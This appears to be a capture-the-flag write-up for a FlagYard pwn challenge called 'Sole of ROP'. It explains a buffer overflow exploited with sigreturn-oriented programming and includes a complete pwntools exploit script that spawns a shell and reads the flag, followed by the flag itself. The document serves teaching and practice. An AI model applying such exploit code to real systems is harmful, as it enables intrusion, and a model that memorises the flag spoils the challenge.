Sole of ROP

Author: 0xIDA
Platform: FlagYard · Category: pwn · Difficulty: Easy

Solvers

• solve.py

Summary

Tiny static ELF: buffer overflow, NX on, only pop rax; ret and syscall gadgets plus embedded /bin/dash. Challenge text hints at signals → SROP (sigreturn-oriented programming) to execve("/bin/dash", 0, 0).

Solution

Step 1: Binary behavior

• read(0, buf, 0x300) into stack buffer of size 0x12c
• Appends 18-byte "SOS..." after input (null-terminated), then echoes and leave; ret
• Gadgets: pop rax; ret @ 0x400177, pure syscall @ 0x4000fd
• String /bin/dash at 0x6001aa

Step 2: SROP exploit

#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"

dash, pop_rax, syscall = 0x6001aa, 0x400177, 0x4000fd
frame = SigreturnFrame()
frame.rax = 59          # execve
frame.rdi = dash
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x600280
frame.rip = syscall

payload = b"A" * (0x12c + 8)
payload += p64(pop_rax) + p64(15) + p64(syscall)  # rt_sigreturn
payload += bytes(frame)
payload = payload.ljust(0x2f0, b"\x00")  # keep SOS append off the frame

io = remote("tcp.flagyard.com", PORT)
io.recvuntil(b"> ")
io.send(payload)
io.sendline(b"cat /app/flag-*.txt")
print(io.recvall(timeout=2))

Pad length carefully so the post-read "SOS" memcpy does not clobber the sigreturn frame.

Flag

FlagY{cd98501b5e33480e0ae4dbef3f9e1c7b}

Live submitted: success (2026-07-12).

Tools

• pwntools (SigreturnFrame, process/remote)
• ROPgadget / manual disassembly
• Flagyard MCP